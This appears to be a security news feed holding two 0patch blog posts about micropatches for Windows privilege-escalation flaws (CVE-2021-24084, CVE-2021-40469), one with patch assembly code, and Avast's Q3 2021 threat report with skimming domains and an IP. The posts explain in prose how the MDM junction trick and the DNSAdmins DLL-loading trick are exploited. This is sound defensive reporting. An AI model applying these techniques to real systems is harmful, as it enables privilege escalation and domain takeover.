🔒
There are new articles available, click to refresh the page.
✇ 0patch Blog

Micropatching Unpatched Local Privilege Escalation in Mobile Device Management Service (CVE-2021-24084 / 0day)

By: Mitja Kolsek

 


by Mitja Kolsek, the 0patch Team

In June 2021, security researcher Abdelhamid Naceri published a blog post about an "unpatched information disclosure" vulnerability in Windows. The post details the mechanics of the issue and its exploitation, allowing a non-admin Windows user to read arbitrary files even if they do not have permissions to do so. The exploit namely copies file(s) from a chosen location into a CAB archive that the user can then open and read.

Abdelhamid's blog post also provides the timeline of reporting the vulnerability to Microsoft through ZDI in October 2020, Microsoft assigning a CVE ID to the issue and allegedly planning to fix it in April 2021, and the latter not happening in April. Or June. Or July or August or September or October.

While we had noticed Abdelhamid's June disclosure, it didn't seem to be a critical enough issue for micropatching, as we generally don't patch information disclosure bugs.

In November, however, Abdelhamid pointed out that this - still unpatched - bug may not be just an information disclosure issue, but a local privilege escalation vulnerability. Namely, as HiveNightmare/SeriousSAM has taught us, an arbitrary file disclosure can* be upgraded to local privilege escalation if you know which files to take and what to do with them. We confirmed this by using the procedure described in this blog post by Raj Chandel in conjunction with Abdelhamid's bug - and being able to run code as local administrator.

(*) Two conditions need to be met in order for the local privilege escalation to work:

  1. System protection must be enabled on drive C, and at least one restore point created. Whether system protection is enabled or disabled by default depends on various parameters.  
  2. At least one local administrator account must be enabled on the computer, or at least one "Administrators" group member's credentials cached


The Vulnerability

The vulnerable functionality resides under the "Access work or school" settings and can be triggered by clicking on "Export your management log files" and confirming by pressing "Export". At that point, the Device Management Enrollment Service is triggered, running as Local System. This service first copies some log files to the C:\ProgramData\Microsoft\MDMDiagnostics folder, and then packages them into a CAB file whereby they're temporarily copied to C:\Windows\Temp folder. The resulting CAB file is then stored in the C:\Users\Public\Public Documents\MDMDiagnostics folder, where the user can freely access it.

It is the copying to C:\Windows\Temp folder that is vulnerable. Namely, a local attacker can create a soft link (junction) there with a predictable file name that will be used in the above-described process, pointing to some file or folder they want to have copied to the CAB file. Since the Device Management Enrollment Service runs as Local System, it can read any system file that the attacker can't.

Abdelhamid's POC targets the kernel dump files in folder C:\Windows\LiveKernelReports to demonstrate the issue, while we used SAM, SECURITY and SYSTEM files from a restore point folder to achieve local privilege escalation.

The vulnerability has CVE-2021-24084 assigned, but we still consider it a "0day" as no official vendor fix is available.


Our Micropatch

Abdelhamid's blog post suggested that user impersonation during CAB file creation would resolve the issue. While we agree with that, we were concerned that might break some use cases and rather decided to check for the presence of junctions during CAB file creation.

The function we patched is CollectFileEntry inside mdmdiagnostics.dll. This is the function that copies files from C:\Windows\Temp folder into the CAB file, and can be tricked into reading some other files instead.

Our patch is placed immediately before the call to CopyFileW that opens the source file for copying, and uses the GetFinalPathNameByHandleW function to determine whether any junctions or other types of links are used in the path. If they are, our patch makes it look as it the CopyFileW call has failed, thereby silently bypassing the copying of any file that doesn't actually reside in C:\Windows\Temp.

Here is the IDA graph showing our applied patch (green code blocks are patch code; blue code block is a trampoline with the original code).  

 


 

Microsoft's Fix

Microsoft's fix doesn't exist as of this writing, but when it becomes available, we'll describe it here. We find it likely that they'll either use caller impersonation during the CAB file creation, or check for junctions in the process like we did.


Micropatch Availability

This micropatch was written for: 

  1. Windows 10 v21H1 (32 & 64 bit) updated with November 2021 Updates
  2. Windows 10 v20H2 (32 & 64 bit) updated with November 2021 Updates
  3. Windows 10 v2004 (32 & 64 bit) updated with November 2021 Updates
  4. Windows 10 v1909 (32 & 64 bit) updated with November 2021 Updates
  5. Windows 10 v1903 (32 & 64 bit) updated with November 2021 Updates
  6. Windows 10 v1809 (32 & 64 bit) updated with May 2021 Updates
 
Windows Servers are not affected, as the vulnerable functionality does not exist there. While some similar diagnostics tools exist on servers, they are being executed under the launching user's identity, and therefore cannot be exploited.

Windows 10 v1803 and older Windows 10 versions don't seem to be affected either. While they do have the "Access work or school" functionality, it behaves differently and cannot be exploited this way. Windows 7 does not have the "Access work or school" functionality at all.

Note that Abdelhamid has also published a related POC for Windows 11 but that POC is actually exploiting a different vulnerability. 

 
Micropatches for this vulnerability will be free until Microsoft has issued an official fix. If you want to use them, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboots will be needed.
 

We'd like to thank Abdelhamid Naceri for finding this issue and sharing details, which allowed us to create a micropatch and protect our users.

To learn more about 0patch, please visit our Help Center.


 


 

 

✇ 0patch Blog

Micropatch For Remote Code Execution by DNS Administrators (CVE-2021-40469)

By: Mitja Kolsek


by Mitja Kolsek, the 0patch Team

 

This is a story of a publicly known remote code execution vulnerability that somehow got ignored and mostly overlooked for four and a half years, meanwhile rediscovered a number of times, weaponized, and finally fixed this October with an unexpected acknowledgment.

Back in May 2017, security researcher Shay Ber published details about a vulnerability affecting Windows DNS Service. They found that any member of the DNSAdmins domain group can use their privileges to get the computer running the DNS Service to run arbitrary code as Local System - which equals a complete takeover of said computer. Since many domain controllers are running the DNS Service, this could mean a complete Windows domain takeover.

Note that DNSAdmins is a powerful group: being able to change domain DNS configuration allows one to cause all sorts of problems - but it doesn't automatically allow them to take over the domain. Typically, a DNS administrator is not allowed to login to the computer running the DNS Service (often a domain controller), and configures DNS from their own workstation using a DNS management tool that utilizes remote procedure calls (RPC).

Shay noticed that legitimate functionality of these remote procedure calls, conveniently made available by the Windows dnscmd.exe tool, can be used to remotely configure a DNS Service to load an arbitrary DLL from a network share and execute its code. This is due to the DNS Service checking, upon startup, the presence of registry value ServerLevelPluginDll and, if it exists, loading the DLL from the path specified therein. This value could be set remotely using the dnscmd.exe tool by members of the DNSAdmins group.

After reporting this to Microsoft, Shay was told that "it [would] be fixed by basically only allowing DC administrators to change the ServerLevelPluginDll registry key, and that it [would] be possible to toggle this feature off in future releases."

Although in their write-up Shay generously described the issue as "a cute feature (certainly not a bug!)", it was undeniably a privilege escalation - from non domain admin to domain admin - as well as a remote code execution issue - from computer one can run code on to computer one can't normally run code on.

In any case, the issue got largely forgotten, likely because of its "not a bug" classification, until another security researcher Sean Metcalf brought it up in their article a year and a half later. Fourteen months after that, security researcher Dhiraj Sharma revisited the original article and published a new write-up. Further nine months of nothing happening later, an exploit module got added to Metasploit, making it easier for attackers of all hat colors to exploit this issue. We're not done yet. In April and May 2021, security researcher Phakt wrote a two-part analysis of this issue, further dissecting it and shedding light on the "why" and offering an alternative for using the overly-permissive DNSAdmins group

Finally, this October's Windows Updates brought a fix, assigned the issue CVE-2021-40469, and, surprisingly, acknowledged (only) Yuki Chen, a regular reporter of Windows vulnerabilities, for finding and reporting this to Microsoft.

What a ride.

 

Microsoft's Fix

Microsoft's fix delivered by October 2021 updates did what was promised back in 2017: it introduced a new registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\InternalParameters with permissions only allowing administrators to modify its content. The ServerLevelPluginDll value has been moved from the Parameters key to this new key, making it impossible to change it with permissions provided by the DNSAdmins group. A decent fix, as far as we can tell.

The only thing not fixed were affected Windows servers that aren't receiving official Windows updates anymore: Windows Server 2008 R2 and Windows Server 2008 without Extended Security Updates. This is where we come in.


Our Micropatch

Our micropatch, the whole 19 CPU instructions of it, takes a bit different approach compared to Microsoft's fix. When applied (enabled), our micropatch forces the DNS Service to ignore the ServerLevelPluginDll value even if it's present in the registry. Based on the absolute absence of hits when googling for ServerLevelPluginDll and filtering out articles about exploiting this value, we assess that very few organizations are using this feature, so simply removing it - which our patch effectively does - is the optimal approach. This decision was in line with our goal of using minimal amount of code to fix the vulnerability. However, should a customer report that they're using this feature, we'll replace the patch with one that is functionally closer to Microsoft's.

Source code of our micropatch:



MODULE_PATH "..\Affected_Modules\dns.exe_6.1.7601.24437_Srv2008R2_64bit_NoESU\dns.exe"
PATCH_ID 707
PATCH_FORMAT_VER 2
VULN_ID 7208
PLATFORM win64

patchlet_start
    PATCHLET_ID 1
    PATCHLET_TYPE 2
    PATCHLET_OFFSET 0x411a7
    N_ORIGINALBYTES 5
    JUMPOVERBYTES 0
    PIT msvcrt.dll!_wcsicmp,dns.exe!0x41171
    
    code_start
        push rdi          ; storing register on stack to keep their values
        push rcx
        push rdx
        push r8
        push r9
       
        call VAR          ; trick to get address of string on stack
        dw __utf16__('ServerLevelPluginDll'), 0
    VAR:
        pop rdx           ; rdx points to string
'ServerLevelPluginDll'
        mov rcx, rdx      ; rcx points to
string 'ServerLevelPluginDll'
        mov rdx, r12      ; rdx points to name of registry value that
                          ; is currently being read from registry
        sub rsp, 20h      ; create home space for the 64bit call
        call PIT__wcsicmp ; compare strings case insensitive
        add rsp, 20h      ; abandon home space
       
        pop r9            ; restoring register values from stack
        pop r8
        pop rdx
        pop rcx
        pop rdi
       
        cmp rax, 0        ; were strings equal?
        je PIT_0x41171    ; if so, bypass reading from registry
       
    code_end
    
patchlet_end

   

 

And the video of our patch in action.



This micropatch was written for: 

  1. Windows Server 2008 (updated with January 2020 Updates - latest before end of support) 
  2. Windows Server 2008 R2 (updated with January 2020 Updates - latest before end of support)

 

To obtain the micropatch and have it applied on your computer(s) along with other micropatches included in a 0patch license, create an account in 0patch Central, install 0patch Agent and register it to your account, then purchase an appropriate 0patch license. Note that no computer restart is needed for installing the agent or applying/un-applying any 0patch micropatch. For a 0patch trial, contact [email protected]

We'd like to thank Shay Ber for finding this issue and sharing details, which allowed us to create a micropatch and protect our users. Thank you also to Yuki Chen, who appears to have been the one finally pushing the official vendor fix out the door.

To learn more about 0patch, please visit our Help Center.


 


 

 

✇ Avast Threat Labs

Avast Q3’21 Threat Report

By: Threat Research Team

Latest Avast Q3’21 Threat Report reveals elevated risk for ransomware and RAT attacks, rootkits and exploit kits return.

Foreword

The threat landscape is a fascinating environment that is constantly changing and evolving. What was an unshakeable truth for a long time is no longer valid the next day; the most prevalent threats suddenly disappear, but are usually quickly replaced by at least two new ones; or that the bad guys standing behind these threats always come with new techniques when trying to get their profit.

Together with my colleagues, we came to the conclusion that it would be selfish to keep our insight into this landscape just for ourselves so we decided to start with publishing periodic Avast threat reports. Here, we would like to share with you details about emerging threats, stories behind malware strains and their spreading, and of course stats from our 435M+ endpoints telemetry.

So let us start with the Q3 report, and I must say it was a juicy quarter. To give you a sneak peak of the report: My colleagues published details about an ongoing APT campaign targeting the Mongolian certification authority MonPass. Another novel research was the discovery of the Crackonosh crypto stealer that earned more than $2 million USD to its operators. We were also intently monitoring which botnet will replace the previous kingpin Emotet in Q3. Furthermore, there was a rampant spreading of banking trojans on mobile (especially FluBot) and rootkits on Windows almost doubled their activity in September compared to the previous period. And for me, it started on July 2 at night with the Sodinokibi/REvil ransomware supply chain attack on the Kaseya MSP, it abused Microsoft Defender, there was involvement of world leaders, and precise timing (happening during my threat labs duty – respect to all infosec fellows that were dealing with that on this Independence weekend). As I said – it’s a fascinating environment…

Jakub Křoustek, Malware Research Director

Methodology

This report is structured as two main sections – Desktop, informing about our intel from Windows, Linux, and MacOS, and Mobile, where we inform about Android and iOS threats.

Furthermore, we use the term risk ratio in this report for informing about the severity of particular threats, which is calculated as a monthly average of “Number of attacked users / Number of active users in a given country”. Unless stated otherwise, the risk is available just for countries with more than 10,000 active users per month.

Desktop

Advanced Persistent Threats (APTs)

In Q3 of 2021, we saw APT activity on several fronts: continued attacks against Certificate Authorities (CAs), the Gamaredon group targeting military and government targets, and campaigns in Southeast Asia.

Certificate Authorities (CAs) are always of increased interest to APT groups for multiple reasons. By their very nature CAs have a high level of trust, they often provide services to the government organisations or being a part of one themselves, making them a perfect target for supply chain attacks. A well-known example was the targeting of the Vietnam Government Certification Authority in 2020. In Q3 Avast also wrote about activity targeting the Mongolian CA MonPass.

At the very beginning of Q3, Avast researchers discovered and published a story about an installer downloaded from the official website of Monpass, a major certification authority (CA) in Mongolia in East Asia that was backdoored with Cobalt Strike binaries. 

A public web server hosted by Monpass was breached potentially eight separate times: we found eight different webshells and backdoors on this server. The MonPass client available for download from 8 February 2021 until 3 March 20 2021 was backdoored. Adversaries used steganography to decrypt and implant Cobalt Strike beacons.

Additionally during the last few months we’ve seen an increased activity of the Gamaredon group primarily in Ukraine. The main targets of the group remain military and government institutions. The group keeps utilizing old techniques it’s been using for years in addition to a few new tools in their arsenal. Malware associated with Gamaredon was among the most prevalent between APT groups we tracked in this quarter.

Groups operating in Southeast and East Asia were active during this period as well. We’ve seen multiple campaigns in Myanmar, Philippines, Hong Kong and Taiwan. The majority of the actors in the region can be identified as Chinese-speaking groups. Technique of choice among these groups remains sideloading. We’ve seen samples with main functionality to search for potential candidates for sideloading on a victim’s machine, so they are not going to abandon this technique anytime soon.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Michal Salát, Threat Intelligence Director

Bots

Old botnets still haven’t said their last word. After Emotet’s takedown at the start of 2021, Trickbot has been aspiring to become its successor. Moreover, despite numerous takedown attempts, Trickbot is still thriving. Qakbot came up with a rare change in its internal payload which brought restructured resources. As for Ursnif (aka Gozi), the activity in Q3 kept its usual pace – with new webinjects and new builds being continuously released. However, Ursnif’s targets remain largely the same – European, and especially Italian, banks and other financial organisations. Surprisingly, Phorpiex seemed to maintain its presence, even though its source code has been reported to be on sale in August. This is especially true for Afghanistan, Turkmenistan, and Yemen where Phorpiex is especially prolific, significantly contributing to their above-average risk ratio.

Below is a heatmap showing the distribution of botnets that we observed in Q3 2021.

The IoT and Linux bot landscape is a wild west, as usual. We are still seeing many Gafgyt and Mirai samples trying to exploit their way onto various devices. The trend of these families borrowing the code from each other still continues, so while we sometimes see samples being worthy of being called a new strain, many samples continue to blur the line between Gafgyt and Mirai strains. We expect this trend to continue – both strains have their source code available, and the demand for DDoS does not lessen. Due to their popularity, the source code is also often used by technically less proficient adversaries, partially explaining the latter trend of code reuse.

Q3’s surprise has been the MyKings botnet which has had quite a profitable campaign. Their cryptoswapper campaign has managed to amass approximately 25 million dollars in Bitcoin, Ethereum and Dogecoin.

Changes in malware distribution methods

In Q3 2021, we saw a shift in bot and RAT distribution. Threat actors are finding new ways of abusing third party infrastructure. While we have previously seen various cloud storages (e.g. OneDrive) or Pastebin, we are also seeing more creative means such as Google’s feedproxy.google.com for C&C URLs or Discord’s CDN as a distribution channel. This makes it easier for them to avoid reputation services meant to combat malware distribution, though at the cost that their channels may get disrupted by the service provider. Since we’ve already seen communication platforms such as Discord or Telegram being also abused for exfiltration or as C&C, we can expect this trend to spread to other similar automation-friendly services.

Adolf Středa, Malware Researcher 

Infrastructure as a service for malware

It seems that infrastructure as a service for malware and botnets is on the rise by using commodity routers and IoT devices. Threat actors realized that it’s far easier to misuse these devices as a proxy to hide malicious activity than crafting specific malware for such a variety of architectures and devices. It also seems that we are witnessing botnets of enslaved devices being sold as a service to various threat actors. 

In Q2 and Q3, we’ve seen a new campaign dubbed Mēris. This campaign attacked Mikrotik routers, already known to be problematic since 2018, for DDoS attacks against Yandex servers. Further analysis showed that this attack had been just one of the campaigns run through the MikroTik botnet as a service providing anonymizing proxies. It turned out that the botnet consisted of approximately 200K of enslaved devices with an opened SOCKS proxy being ready for hire on darknet forums. It’s believed that this actor has been controlling this botnet since 2018. Moreover, there are ties to Glupteba and coin mining campaigns in 2018. Although most of the botnet has been taken down, the original culprit and vulnerabilities in the Mikrotik routers seem to be still open. The attack vector is notoriously well-known and is common for most of the IoT and router devices: unpatched firmware and default credentials. We’ll inevitably see more of this trend in the future.

Below is a heatmap showing the prevalence of unpatched Mikrotik routers in Q3 2021.

Martin Hron, Malware Researcher

Coinminers

Coinminers are malware that hijacks resources of infected PCs to mine cryptocurrency and send its profit directly to the attacker while the electricity bill is left for the victim. The number of users attacked by coinminers has actually stayed steady or even lowered some in Q3 2021 compared to the beginning of the year as shown below.

It is possible that this stagnant or even lowering threat trend is due to the prices of cryptocurrencies. The prices of Bitcoin, Etherum and Monero were on the low end from the end of May until the end of July. Q3 saw a significant sell-off of Bitcoin especially in response to increased signals that the Chinese government would move to regulate cryptocurrency. As a consequence the number of coinmining attacks we saw in Q3 were low and we did not observe any new threats. 

The most prevalent mining software used in coinminers was still XMRig (28%). The geological distribution of coinminers is almost the same as in Q2 as shown below.

It is hard to estimate how much the attackers obtained by mining, because they usually use untraceable cryptocurrency such as Monero. But we have some pieces of the puzzle. We were able to track some payments for Crackonosh malware. Our analysis shows that it was able to mine over $2 million USD since 2018. Crackonosh represents just about 2% of all coinminer attacks we see in our userbase. Crackonosh is packed with cracked copies of popular games, it uses Windows Safe Mode to uninstall antimalware software (note that Avast users are protected against this tactic) and then it installs XMRig to mine Monero.

Daniel Beneš, Malware Researcher

Ransomware

Q3 was a thrilling quarter from the ransomware perspective. One can almost get used to newspaper headlines about ransomware breaches and attacks on large companies on a daily basis (e.g. Olympus and Newcoop attacks by BlackMatter ransomware), but at the same time, we witnessed a huge supply chain attack not seen for a while, involvement of state leaders in addressing it and much more.

Overall, Q3 ransomware attacks were 5% higher than in Q2 and even 22% higher than in Q1 2021.

At the very beginning of Q3 (July 2), we spotted an attack of the Sodinokibi/REvil ransomware delivered via a supply chain attack on Kaseya MSP. The impact was massive – more than 1,500 businesses were targeted. Also other parts of the attack were fascinating. This particular cybercriminal group used the DLL sideloading vulnerability of Microsoft Defender for delivery of the target payload, which could have confused some security solutions. We’ve seen abuse of this particular Defender application already in May 2020. Overall, we’ve noticed and blocked this attack on more than 2.4k endpoints based on our telemetry. The story of this attack continued over Q3 with involvement of presidents Joe Biden and Vladimir Putin resulting in ransomware operators releasing the decryption key, which helped with unlocking files of affected victims. It gave us one more clue for the attribution of the origin of this (R)evil. After the release of the decryption key, Sodinokibi went silent for almost two months – their infrastructure went down, no new variants were seen in the wild, etc. However, it was us who detected (and blocked) its latest variant on September 9. This story evolved in November, but let’s keep it for the Q4 report.

However, Sodinokibi was only one piece of the ransomware threat landscape puzzle in Q3. The top spreading strains overall were:

  • STOP/Djvu – often spread via infected pirated software
  • WannaCry – the one and only, still spreading after four years via the EternalBlue exploit
  • CrySiS – also spreading for a long time via hacked RDP
  • Sodinokibi/REvil
  • Various strains derived from open-source ransomware (HiddenTear, Go-ransomware, etc.)

Furthermore, there were multiple active strains focused on targeted attacks on businesses, such as BlackMatter (previously DarkSide) and various ransomware strains from the Evil Corp group (e.g. Grief) and Conti.

The heat map below shows the risk ratio of users protected against ransomware Q3 2021.

As shown below the distribution of ransomware attacks was very similar to previous quarters except for a 600% increase in Sweden that was primarily caused by the aforementioned Kaseya supply chain attack.

hits trendline

The number of protected users by ransomware attacks was highest in July, and it decreased slightly in August and September. 

Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs)

Unlike ransomware, RAT campaigns are not as prevalent in newspaper headlines because of their very secretive nature. Ransomware needs to let you know that it is present on the infected system but RATs try to stay stealthy and just silently spy on their victims. The less visible they are the better for the threat actors. 

In Q3, three new RAT variants were brought to our attention. Among these new RATs were FatalRAT with its anti-VM capabilities, VBA RAT which was exploiting the Internet Explorer vulnerability CVE-2021-26411, and finally a new version of Reverse RAT with build number 2.0 which added web camera photo taking, file stealing and anti-AV capabilities.

But these new Remote Access Trojans haven’t drastically changed representation of RAT type in the wild yet.

We saw an  elevated risk ratio for RATs in many countries all over the world. In particular, we had to protect more users in countries such as Russia, Singapore, Bulgaria or Turkey where RAT attacks were elevated this quarter. 

In the heat map below, we can see the risk ratio for RATs globally in Q3 2021. 

Distribution of RAT risk ratio worldwide

Out of all users attacked by RATs in Q3, 19% were attacked by njRAT (also known as Bladabindi). njRat has been spreading since 2012 and it owes its popularity to the fact that it was open sourced a long time ago and many different variants were built on top of its source written in VB.NET. After njRAT, the most prevalent RAT strains were: 

  • Remcos ‒ 11%
  • AsyncRat ‒ 10%
  • NanoCore ‒ 9%
  • Warzone ‒ 6%
  • QuasarRAT ‒ 5%
  • NetWire ‒ 5%
  • DarkComet ‒ 4%

What made these RATs so popular and what was the reason they spread the most? The answer is simple, all of them were either open-sourced or cracked and that helped their popularity especially among less sophisticated script-kiddie attackers and among users of many hacking forums where they were often shared. njRat, Remcos, AsyncRat, NanoCore and QuasarRat were open-sourced and the rest was cracked. From this list only Warzone had a working paid subscription model from its original developer. Attackers used these RATs especially for industry espionage, credentials theft, stalking and with many infected computers, even DDOS.

Samuel Sidor, Malware Researcher

Rootkits

A rootkit is malicious software designed to give unauthorized access with the highest system privileges. Rootkits commonly provide services to other malware in the user mode. It typically includes functionality such as concealing malware processes, files and registry entries. In general, the rootkits have total control over a system they operate in the kernel layer, including modifying critical kernel structures. Rootkits are still popular techniques to hide malicious activity despite a high risk of being detected because the rootkits work in the kernel mode, and each critical bug can lead to BSoD.

We have recorded a significant increase in rootkit activity at the end of Q3, illustrated in the chart below. While we can’t be sure what’s behind this increase, this is one of the most significant increases in activity in Q3 2021 and is worth watching. It also underscores that defenders should be aware that rootkits, which have been out of the spotlight in recent years, remain a threat and in fact are increasing once again.

hits trendline

The graph below demonstrates that China and adjacent administrative areas (Macao, Taiwan, Hong Kong) are the most risk counties from the point of view of protected users in Q3 of 2021.

In Q3, we have also become interested in analyzing the code-signing of a rootkit driver, which protects the malicious activity of a complex and modularized malicious backdoor utilizing sophisticated C&C communication, self-protection mechanisms, and a wide variety of modules performing various suspicious tasks, called DirtyMoe focusing on the Monero mining.

This research has led us to the issue of signing windows drivers with revoked certificates. There have been identified 3 revoked certificates that sign the DirtyMoe rootkit and also sign other rootkits. Most users have been attacked in Russia (40%), China (20%), and Ukraine (10%).

Martin Chlumecký, Malware Researcher

Information Stealers

In Q3, we’ve seen a steady increase in numbers of various information stealers as can be seen on the daily spreading chart below.

protected users trendline

The risk ratio of this threat is globally high and similar across the majority of countries worldwide with peaks in Africa and the Middle East.

One of such stealers is a clipboard stealer, distributed by a notorious botnet called MyKings, that focuses on swapping victim’s cryptocurrency wallet addresses present in their clipboard with an attacker’s address. When the victim copies data into their clipboard, the malware tries to find a specific pattern in the content of the clipboard (such as a web page link or a format of cryptocurrency wallet) and if it is found, the content is replaced with the attackers’ information. Using this simple technique, the victim thinks for instance they pasted their friend’s cryptowallet address while the attacker changed the address in the meantime to their own, effectively redirecting the money.

MyKings also changes two kinds of links when present in the victim’s clipboard – Steam trade offer links and Yandex Disk storage links. This way, the attacker changes the Steam trade offer from the victim to himself, thus giving the trade over to the attacker who pockets the money. Furthermore, when the user wants to share a file via Yandex Disk storage cloud service, the web link is changed with a malicious one – leading the victim to download further malware because there is no reason to suspect the link is malicious when received from a friend.

Our research has shown that, since 2019, the operators behind MyKings have amassed at least $24 million USD (and likely more) as of 2021-10-05 in the Bitcoin, Ethereum, and Dogecoin cryptowallets associated with MyKings. While we can’t attribute this amount solely to MyKings, it still represents a significant sum that can be tied to MyKings activity. In addition to the aforementioned amounts, the clipboard stealer also focuses on more than 20 different cryptocurrencies, further leveraging the popularity of the cryptocurrency world. In Q3, MyKings was most active in Russia, Pakistan, and India.

Furthermore, Blustealer is a new and emerging stealer first seen at the beginning of Q3 and spiked in activities around 10-11 September. Primarily distributed through phishing emails, Blustealer is capable of stealing credentials stored in web browsers and crypto wallet data, hijacking crypto wallet addresses in clipboard, as well as uploading document files. The current version of Blustealer uses SMTP (email) and Telegram (Bot API) for data exfiltration.

Jan Rubín, Malware Researcher
Jakub Kaloč, Malware Researcher
Anh Ho, Malware Researcher

Technical support scams

Tech support scam (or TSS in short) is a big business and the people behind it use a number of techniques to try and convince you that you need their help. Most of the techniques these websites use are aimed at making your browser and system seem broken.

This topic became very popular on Youtube and TikTok as it attracted the attention of “scambaiters” – a type of vigilante who disrupts, exposes or even scams the world’s scammers.

We’ve seen a growing trend of TSS attacks with its peak at the end of August as shown below..

hits trendline

Overall we can see the distribution of  TSS attacks globally in Q3 2021 below.

We’ve divided these fraudsters into groups according to geography and similar attack patterns. These groupings can include multiple fraud groups that use the same tool, or use similar browser locking methods. The following table represents the unique hits for each group.

The most prevalent group in Q3 2021, called GR2 by us, typically targets mostly European countries, such as Russia, France, Ukraine, or Spain. These countries also had a high TSS risk ratio overall together with Iceland, Uzbekistan, and Rwanda.

We can see how GR2 was the most active TSS group and had its peak in mid-July.

Alexej Savčin, Malware Analyst

Vulnerabilities and Exploits

Q3 has seen plenty of newly discovered vulnerabilities. Of particular interest was PrintNightmare, a vulnerability in the Windows Print Spooler, which allowed for both local privilege escalation (LPE) and remote code execution (RCE) exploits. A Proof of Concept (PoC) exploit for PrintNightmare got leaked early on, which resulted in us seeing a lot of exploitation attempts by various threat actors. PrintNightmare was even integrated into exploit kits such as PurpleFox, Magnitude, and Underminer

Another vulnerability worth mentioning is CVE-2021-40444. This vulnerability can either be used to create malicious Microsoft Office documents (which can execute malicious code even without the need to enable macros) or it can be exploited directly against Internet Explorer. We have seen both exploitation methods used in-the-wild, with a lot of activity detected shortly after the vulnerability became public in  September 2021. One of the first exploit attempts we detected was against an undisclosed military target, which proves yet again that advanced attackers waste no time weaponizing promising vulnerabilities once they become public.

We’ve also been tracking exploit kit activity throughout Q3. The most active exploit kit was PurpleFox, against which we protected over 6k users per day on average. Rig and Magnitude were also prevalent throughout the whole quarter. The Underminer exploit kit woke up after a long period of inactivity and started sporadically serving HiddenBee and Amadey. Even though it might seem that exploit kits are becoming a thing of the past, we’ve witnessed that some exploit kits (especially PurpleFox and Magnitude) are being very actively developed, regularly receiving new features and exploitation capabilities. We’ve even devoted a whole blog post to the recent updates in Magnitude. Since that blog post, Magnitude continued to innovate and most interestingly was even testing exploits against Chromium-based browsers. We’ll see if this is the beginning of a new trend or just a failed experiment.

PurpleFox EK hits trendline

Overall, Avast users from Singapore, Czechia, Myanmar, Hong Kong and Yemen had the highest risk ratio for exploits, as can be seen on the following map.

The risk ratio for exploits was growing in Q3 with its peak in September.

hits trendline

Michal Salát, Threat Intelligence Director
Jan Vojtěšek, Malware Researcher

Web skimming 

Ecommerce websites are much more popular than they used to be, people tend to shop online more and more often. This led to the growth of an attack called web skimming. 

Web skimming is a type of attack on ecommerce websites in which an attacker inserts malicious code into a legitimate website. The purpose of the malicious code is to steal payment details on the client side at the moment the customer fills in their details in the payment form. These payment details are usually sent to the attacker’s server. To make the data flow to a third-party resource less visible, fraudsters often register domains resembling the names of popular web services like google-analytics, mastercard, paypal and others.

The map below shows that users from Australia, the United States, Canada, Brazil and Argentina were most at risk in Q3. Of the smaller countries, we can see Guatemala and Slovenia at the top. The high risk ratio in Guatemala was caused by an infected eshop elduendemall[.]com

hits trendline

Top two malicious domains used by attackers were webadstracker[.]com and ganalitics[.]com. Webadstracker[.]com was blocked by Avast from 2021-03-04 and was active from then for the whole Q3. It indicates that unlike phishing sites, which are active usually for a couple of days, web skimming domains can be active much longer. Webadstracker[.]com is hosted on Flowspec, which is known as one of the bulletproof hosting providers. From all web skimming incidents we observed, 8.6% were on this domain. With this domain, we can link other domains on the same IP, which was also used for web skimming attacks in Q3:

  • webscriptcdn[.]com
  • cdncontainer[.]com
  • cdnforplugins[.]com
  • shoppersbaycdn[.]com
  • hottrackcdn[.]com
  • secure4d[.]net

We were able to link this IP (176.121.14.143) with 75 infected eshops. Lfg[.]com[.]br was the top ecommerce website infected with webadstracker[.]com was in Q3.

Pavlína Kopecká, Malware Analyst

Mobile

Open Firebase instances

Firebase is Google’s mobile and web app development platform. Developers can use Firebase to facilitate developing mobile and web apps, especially for the Android mobile platform. In our study we discovered that more than 10% of about 180,000 tested Firebase instances, used by Android apps, were open. The reason is a misconfiguration, made by application developers. Some of these DBs exposed sensitive data, including plaintext passwords, chat messages etc. These open instances pose a significant risk of users’ data leakage. Unfortunately, ordinary users can’t check if DB used by an application is misconfigured, moreover it can become open at any moment.

Vladimir Martyanov, Malware Researcher

Adware

Adware continues to be a dominant threat on Android. This category may take various forms – from traditional aggressive advertising on either legitimate or even fake applications to completely fake applications that, while installed with an original purpose of stopping adware, end up doing exactly the opposite and bombard the user with out-of-context ads (for example FakeAdBlocker).

The degree to which the aggressive advertisement is shown to the user – either in app or out-of-context very negatively affects the user’s experience, not to mention that in the case of out-of-context ads the user has a very difficult time of actually locating the source of such spam.

A special category in this regard is the so called Fleeceware, which we have been observing both on iOS and Android already for quite some time, this type of threat is still present in Q3 in the official marketplaces and users should be aware of such techniques so that they can actively avoid falling for it.

Ondřej David, Malware Analysis Team Lead

Bankers – FluBot

We have seen a steady increase in the number of mobile banking threats for a while now, but none more than in Q3 2021. This can be best evidenced on a strain called FluBot – while this strain has been active since Q1/Q2, we’ve seen it make a couple of rounds since then. By Q3 it became an established threat in the Android banking threat landscape. 

Its advanced and highly sophisticated spreading mechanisms – using SMS messages typically posing as delivery services to lure the victims into downloading a “tracking app” for a parcel they recently missed or should be expecting – as well as the relentless campaigns account for a successful strain in the field. But even these phishing SMS messages (aka. smishing) have evolved and especially in Q3 we have seen novel scenarios in spreading this malware. One example is posing as voicemail recorders. Another is fake claims of leaked personal photos. The most extreme of these variants would then even lure the victim to a fake page that would claim  the victim has already been infected by FluBot when they probably weren’t yet and trick them into installing a “cure” for the “infection”. This “cure” would in fact be the FluBot malware itself. 

We have seen a steady expansion of the scope where FluBot operated throughout Q2 and mainly Q3, where initially it was targeting Europe – Spain, Italy, Germany, later spreading throughout the rest of Europe, but it didn’t end there. In Q3 we’ve seen advisories being posted in many other countries, including countries like Australia and New Zealand. This threat affects only Android devices – iOS users may still occasionally receive the phishing SMS messages, but the malware would not be able to infect the device.

The heat map below shows the spread of Flubot in Q3 2021 and the graph shows the increase in Flubot infections in that same time period.

hits trendline

Ondřej David, Malware Analysis Team Lead

Pegasus

Perhaps the most discussed mobile threat in Q3 was the infamous Pegasus spyware. Developed by Israeli’s NSO Group this threat targeted primarily iOS device users with known Android variants as well. Due to the usage of zero-click vulnerabilities in the iMessage application the attackers were able to infect the device without any user interaction necessary. This makes it a particularly tricky and sophisticated threat to deal with. Fortunately for the majority of the users this type of attack is unlikely to be used on a mass scale, but rather in a highly targeted manner against high profile or high value targets

